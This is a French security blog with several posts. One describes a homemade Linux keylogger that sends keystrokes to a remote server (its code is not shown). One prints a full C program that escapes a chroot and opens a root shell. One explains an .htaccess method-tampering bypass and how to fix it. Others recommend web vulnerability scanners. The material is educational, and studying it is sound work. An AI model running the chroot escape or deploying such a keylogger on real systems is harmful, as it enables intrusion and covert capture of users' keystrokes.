Un petit keylogger sous Linux

février 11th, 2010 § 7 comments § permalink

Cette année j’ai eu droit à des cours en administration des serveurs web (apache) et en sécurité. Notre prof très sympathique, nous a suggéré d’essayer de pirater la passerelle de notre salle de cours, c’est une machine sous Debian sur laquelle tourne certains services (Squid proxy, iptables, …).

Je me suis donc attaqué à cette machine avec l’aide de 3 camarades, nous avons ainsi réussi à ajouter un utilisateur ayant les droits root sur la machine, j’ai eu par la suite l’idée d’infecter la machine avec un keylogger mais n’ayant pas trouvé de bons keylogger pour Linux  sur le net, je me suis décidé à coder mon propre petit keylogger.

Mon objectif était de concevoir un petit programme capable de récupérer les touches saisies au clavier (sur n’importe quelle console tty) et d’envoyer les captures sur un serveur distant.

Voici donc le code source de mon application :

1) Code du keylogger :

Le keylogger récupère les codes correspondants aux touches pressés par l’utilisateur puis les transmet à la volée à un serveur distant via le protocole HTTP, il exploite pour cela la librairie Curl.

- Fichier d’en-tête net.h :

- Fichier net.c :

- Fichier principal keylogger.c :

2) Code de l’application serveur :

L’application serveur récupère les codes des touches envoyés par le keylogger, les traduit sous une forme lisible puis les enregistre dans un fichier texte placé dans un sous répertoire nommé “data” qu’il faudra préalablement créer sur le serveur . Un système de balises est utilisé pour décrire l’utilisation de certaines touches comme la touche SHIFT par exemple.

- Source du fichier listener.php :

- Source du fichier keymap_fr.php :

Le fichier keymap_fr.php contient la correspondance des codes pour les touches d’un clavier AZERTY, je n’ai pas eu le courage ni l’envie de concevoir l’équivalent pour un clavier QWERTY, je laisse le soin aux volontaires d’étendre le mappage.

Il est important de noter que ce keylogger requière les droits root pour pouvoir fonctionner, en effet, il n’est pas possible de lire directement les entrées clavier depuis le contenu du répertoire /dev/input/by-path/ sans ces fameux privilèges.

Pour compiler le keylogger, il suffit de se placer dans le répertoire contenant ses sources et de taper :

gcc -lcurl keylogger.c net.c -o keylogger

Si vous obtenez des erreurs lors de la compilation, cela est probablement causé par l’absence de la librairie curl sur votre machine.

Un bon moyen d’utiliser ce keylogger et de l’exécuter sous forme daemon, il se lancera ainsi automatiquement au démarrage du PC et récupèrera tout ce qui sera tapé au clavier.

Vous pouvez télécharger les sources du keylogger depuis ce lien. Je décline toutes responsabilités quant à l’utilisation que vous en ferez.

[Sécurité/Linux] Chroot Break

octobre 4th, 2009 § 2 comments § permalink

chrootbreak

Derrière ce titre original se cache un billet traitant de l’évasion d’un chroot sous GNU/Linux, sujet pour lequel je me suis très fortement inspiré de ce que j’ai vu récemment en cours.

De plus en plus de personnes procèdent au compartimentage des applications de leur serveur à l’aide de l’outil chroot, le but de cette manipulation étant de limiter l’impacte du piratage d’une des applications (services) du serveur en isolant les programmes les uns les autres. Ainsi, si un hacker obtient un accès via un service X, il se trouvera enfermer dans une cage ce qui l’empêchera d’infecter le reste du système, la sécurité globale reste donc préservée.

Cela dit, les gens savent moins souvent que la commande chroot n’a pas pour vocation première de sécuriser un système en mettant en place des cages. De nombreuses techniques permettent en effet de s’échapper d’un chroot et d’avoir ainsi accès à l’ensemble du système.

Voici un petit programme rédigé en C qui permet d’outrepasser un chroot :

/**

* Programme en C permettant d’outrepasser un chroot.

* Auteur : Lucas Nussbaum – IUT Charlemagne Nancy2, France.

*/

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <sys/stat.h>

#include <sys/types.h>

int main() {

/* On se positionne a la racine du chroot */

if (chdir(“/”) == -1) { perror(“chdir”); }

/* On cree un repertoire ‘foo’ et un chroot dedans */

if (mkdir(“/foo”, 0755) == -1) { perror(“mkdir”); }

if (chroot(“/foo”) == -1) { perror(“chroot”); }

/* A ce moment la, la racine du processus est /foo, mais le repertoire courant du processus pointe en dehors du chroot.

On fait remonter le repertoire courant. */

if (chdir(“../../../../..”) == -1) { perror(“chdir”); }

/* On execute un shell */

system(“/bin/bash”);

return 0;

}

Deux remarques au sujet de ce code mis au point par mon enseignant :

  1. Il requière les privilèges root.
  2. Il requière l’accès à un compilateur C ou d’avoir la possibilité d’exécuter un programme

Ce programme exploite l’appel système chroot pour casser une prison. La démarche se résume à accéder à la racine du chroot, à créer un répertoire et à chrooter celui-ci à l’aide d’un appel système en langage C. Le fait de chrooter ce répertoire va modifier le répertoire racine du processus mais pas le répertoire courant qui se retrouve du coup en dehors du nouveau chroot… on est ainsi libre ! Il suffit dès lors de remonter plusieurs répertoire jusqu’à se retrouver à la racine “/” et de lancer un shell bash pour avoir un accès complet au système.

D’autres méthodes existes pour outrepasser un chroot. On peut notamment utiliser la commande MAKEDEV pour des devices sda* et en suite les monter et avoir ainsi accès à l’ensemble du disque dur. Il est aussi possible de passer via /proc qui contient diverses informations sur les processus courants du système.

Vous avez néanmoins bien compris que ces méthodes requièrent les droits root pour pouvoir êtres exploitées, le pirate devra donc par exemple passer via un faille du kernel pour obtenir ces privilèges.

Lors du TP qui traitait de ce sujet, le programme mentionné ci-dessus n’a pas fonctionné (pourtant lancé en root) sur mon serveur basée sur Debian, la raison à cela est que j’utilise un noyau patché avec GrSecurity qui inclus certains renforcements pour chroot.

D’ailleurs, j’essaierai prochainement de rédiger un billet traitant des dispositifs que j’ai mis en place sur mon serveur pour le sécuriser.

SANDCAT : Scanner de vulnérabilités web

juillet 24th, 2009 § 3 comments § permalink

J’ai créé ce petit billet pour vous présenter un logiciel vraiment très utile dans le domaine de la sécurité informatique, il s’agit de Sandcat.

Sandcat est un scanner de failles sur 3 niveaux :

  1. Failles d’applications web (notamment le TOP 10 des failles OWASP et OWASP PHP).
  2. Failles du serveur (IIS, apache, configuration de PHP…etc).
  3. Analyses des fichiers “Log” (traçage des attaques et violations…Etc).

Ce logiciel est donc complet et couvre un large éventaille de failles (SQL Injection, CRLF Injection, DoS, XSS…), sa version gratuite est téléchargeable à cette adresse : http://www.syhunt.com/?section=sandcat.download

La version Pro qui est plus complète et plus puissance est payante, je regrète aussi le fait que cette application ne soit disponible que sous Windows.

{Sécurité} Acunetix WVS Free Edition

mai 14th, 2009 § 0 comments § permalink

Acunetix WVS Free Edition est la version gratuite du scanneur de failles Acunetix Web Vulnerability Scanner. Comme vous vous en doutez cette version gratuite a des limitations par rapport à la version payante, elle est en effet “bridée” à la vérification des failles XSS, néanmoins ce genre de failles étant répandu et critique, cela est toujours une bonne chose de scanner son site web.

Pour télécharger gratuitement l’application, rendez-vous à cette adresse : http://www.acunetix.com/cross-site-scripting/Copy-scanner.htm

{Sécurité} Faille des .htaccess

mai 12th, 2009 § 7 comments § permalink

[youtube=http://www.youtube.com/v/Ooqi_iZnAT0&hl]

Les fichiers .htaccess sont des fichiers de configuration pour les serveurs apache permettant, entre autres, de restreindre à l’accès à certaines parties d’un site ou à sa totalité. Certains webmaster utilisent donc ces fichiers pour protéger les zones sensibles de leur site à l’aide d’un identifiant et d’un mot de passe.

Le hic, c’est qu’une mauvaise configuration de ces fichiers couplée à une mauvaise configuration du serveur apache (une configuration par défaut par exemple) créé une brèche de sécurité permettant de contourner les restrictions mises en place,  c’est une de ces failles qui a été exploitée pour hacker le site d’Algérie Poste¹.

Généralement, les gens se contentent de faire un copier/coller des exemples de code qu’ils trouvent sur le net pour mettre en place leur protection via htaccess, malheureusement certaines versions des codes qu’on peut trouver sur le net sont erronés.

Voici par exemple un code que l’on peut aisément trouver sur la toile :

Alors expliquons un peu le contenu de ce fichier :

  • La première ligne indique l’emplacement du fichier contenant les identifiants et mots de passe pour l’accès à la zone protégée.
  • La seconde ligne est juste le titre de la fenêtre d’authentification qui s’affiche.
  • La troisième ligne indique le type d’authentification.
  • Les lignes 4 à 6 indiquent une balise LIMIT.

Le problème dans ce fichier vient, en partie, de cette fameuse balise LIMIT justement, celle-ci est sensée limiter les conditions d’accès aux requêtes POST et GET du protocole HTTP (C’est les types de requêtes utilisés lorsqu’on navigue sur un site internet). Hors, dans certaines configuration (notamment celle par défaut) les serveurs APACHE ont tendance a essayer d’interpréter les requêtes HTTP incorrectes comme  des requêtes GET.

Par exemple en temps normal pour obtenir maPage.php votre navigateur envoi une requête du style :

GET /maPage.php HTTP/1.1

Host : www.monsite.com

Ce n’est qu’un exemple, d’ailleurs je n’ai pas retenu la syntaxe exacte des requêtes HTTP pour imiter parfaitement votre navigateur lol. Bref ! Imaginez que maPage.php est protégée par un htaccess, il m’est donc impossible d’y accéder sans m’identifier car ma requête GET sera traitée… par contre si on s’amuse à envoyer une requête erronée du style :

envoi une requête du style :

jeveux /maPage.php HTTP/1.1

Host : www.monsite.com

et bien comme cette requête n’est ni un GEt ni un POST le htaccess ne va pas appliquer la restriction sur elle, et comme apache va l’interpréter comme une requête GET et bien vous allez recevoir le page en question (y accéder quoi) sans aucune authentification.

Voilà le principe utilisé pour contourner donc les fameux fichier htaccess. Pour vous protéger de cette failles veillez à :

  1. Retirer les balises <LIMIT> de vos fichiers .htaccess.
  2. Configurer votre serveur apache de façon à ce qu’il n’accepte et ne traite que les requêtes HTTP valides (vous pouvez utiliser mod_security  pour ça).

Voilà, j’espère vous avoir proposé un article intéressant, celui-ci inaugure la nouvelle catégorie “Sécurité” de mon blog, je compte vous proposer d’autres articles sur la sécurité informatique, si vous avez des compléments d’information ou des suggestions n’hésitez surtout pas.

¹ Information que j’ai pu lire à droite à gauche sur le net, je n’ai pas pris le temps de vérifier moi-même si ces affirmations étaient justes.